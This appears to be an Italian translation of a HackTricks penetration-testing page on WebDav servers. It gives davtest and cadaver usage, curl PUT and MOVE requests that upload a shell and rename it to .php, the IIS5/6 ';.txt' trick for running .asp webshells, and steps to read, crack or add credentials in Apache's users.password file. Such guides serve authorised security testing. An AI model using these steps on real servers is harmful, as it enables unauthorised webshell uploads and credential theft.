WebDav

Usa Trickest per costruire e automatizzare flussi di lavoro alimentati dagli strumenti comunitari più avanzati al mondo. Ottieni accesso oggi:

Supporta HackTricks

Quando si tratta di un server HTTP con WebDav abilitato, è possibile manipolare file se si dispone delle credenziali corrette, solitamente verificate tramite HTTP Basic Authentication. Ottenere il controllo su un tale server comporta spesso il caricamento e l'esecuzione di un webshell.

L'accesso al server WebDav richiede tipicamente credenziali valide, con il bruteforce WebDav che è un metodo comune per acquisirle.

Per superare le restrizioni sui caricamenti di file, specialmente quelle che impediscono l'esecuzione di script lato server, potresti:

  • Caricare file con estensioni eseguibili direttamente se non sono vietati.

  • Rinominare file non eseguibili caricati (come .txt) in un'estensione eseguibile.

  • Copiare file non eseguibili caricati, cambiando la loro estensione in una eseguibile.

DavTest

Davtest prova a caricare diversi file con estensioni diverse e controlla se l'estensione viene eseguita:

davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension

Questo non significa che le estensioni .txt e .html vengano eseguite. Significa che puoi accedere a questi file tramite il web.

Cadaver

Puoi usare questo strumento per connetterti al server WebDav e eseguire azioni (come caricare, spostare o eliminare) manualmente.

cadaver <IP>

Richiesta PUT

curl -T 'shell.txt' 'http://$ip'

Richiesta MOVE

curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'

Usa Trickest per costruire e automatizzare flussi di lavoro facilmente, alimentati dagli strumenti della comunità più avanzati del mondo. Ottieni accesso oggi:

Vulnerabilità WebDav IIS5/6

Questa vulnerabilità è molto interessante. Il WebDav non consente di caricare o rinominare file con l'estensione .asp. Ma puoi bypassare questo aggiungendo alla fine del nome ";.txt" e il file sarà eseguito come se fosse un file .asp (puoi anche usare ".html" invece di ".txt" ma NON dimenticare il ";").

Poi puoi caricare la tua shell come un file ".**txt" e copiare/spostarlo in un file ".asp;.txt". Accedendo a quel file tramite il server web, esso sarà eseguito (cadaver dirà che l'azione di spostamento non ha funzionato, ma ha funzionato).

Credenziali post

Se il Webdav stava usando un server Apache, dovresti controllare i siti configurati in Apache. Comunemente: /etc/apache2/sites-enabled/000-default

All'interno potresti trovare qualcosa come:

ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user

Come puoi vedere, ci sono i file con le credenziali valide per il server webdav:

/etc/apache2/users.password

Dentro di questo tipo di file troverai il nome utente e un hash della password. Queste sono le credenziali che il server webdav utilizza per autenticare gli utenti.

Puoi provare a crackare queste credenziali, o a aggiungerne di più se per qualche motivo desideri accedere al server webdav:

htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password

Per verificare se le nuove credenziali funzionano, puoi fare:

wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q

Riferimenti

Supporta HackTricks

Usa Trickest per costruire e automatizzare flussi di lavoro alimentati dagli strumenti comunitari più avanzati al mondo. Ottieni accesso oggi:

Last updated